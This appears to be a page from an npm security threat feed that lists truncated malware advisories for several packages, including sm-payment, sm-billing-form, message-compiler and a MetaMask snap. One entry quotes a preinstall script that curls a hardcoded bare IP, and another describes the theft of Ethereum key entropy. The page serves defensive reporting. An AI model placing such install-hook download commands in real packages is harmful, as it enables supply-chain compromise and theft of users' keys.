Loading npm security reports…
Skip to main contentMalware2026-08-24 05:50Malware2026-08-24 05:50Malware2026-08-24 05:50Malware2026-08-24 05:50
npm threat feed
npm security reports, with evidence.
Investigate malicious npm packages and AI-agent policy findings. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision. Malware findings and policy violations are labelled separately.
Security reports — page 291
Updated 15 Oct 2026, 18:51 UTC. Ordered by latest scan.
sm-payment@99.0.0
OpenSSF/OSV malware advisory MAL-2026-14399 blocks this version. package.json declares preinstall and postinstall lifecycle scripts that curl a hardcoded bare IP over plain HTTP (http://1...
sm-billing-form@99.0.0
OpenSSF/OSV malware advisory MAL-2026-14395 blocks this version. package.json defines preinstall and postinstall lifecycle scripts that run `curl -s http://16.192.173.5/sm-billing-form/pr...
message-compiler@9.2.0
OpenSSF/OSV malware advisory MAL-2026-14392 blocks this version. The package declares scripts.preinstall = 'node vishu.js', which runs automatically on npm install. vishu.js resolves the...
@sdgdfgdfhhhfd/multiviewr@1.0.0
OpenSSF/OSV malware advisory MAL-2026-14383 blocks this version. This package publishes a MetaMask snap that derives BIP44 entropy for coinType 60 (Ethereum) and transmits the resulting p...
